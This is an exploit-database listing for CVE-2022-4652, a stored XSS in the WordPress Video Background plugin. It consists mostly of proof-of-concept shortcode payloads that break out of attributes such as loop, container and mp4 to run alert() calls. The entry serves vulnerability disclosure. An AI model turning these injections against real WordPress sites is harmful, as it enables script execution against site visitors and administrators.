Exploit for Video Background < 2.7.5 - Contributor+ Stored XSS via Shortcode CVE-2022-4652

Name: Exploit for Video Background < 2.7.5 - Contributor+ Stored XSS via Shortcode CVE-2022-4652
Rating: 5 (45 reviews)

2023-02-20 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:EBF3DF99-6939-4AE9-AD55-004F33C1CFBC
v < 2.7.5
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

Other affected attributes (same payload): overlay, tap_to_unmute

v < 2.7.4
[vidbg container="body'); alert(1); $('"]
[vidbg mp4="'});alert(/XSS-mp4/); $('').vidbg({a:'"]
[vidbg loop="1});alert(/XSS-loop/); $().vidbg({a:2"]

All of the shortcode attributes are affected (ie container, mp4, webm, poster, loop, muted, overlay, overlay_color, overlay_alpha, tap_to_unmute, source)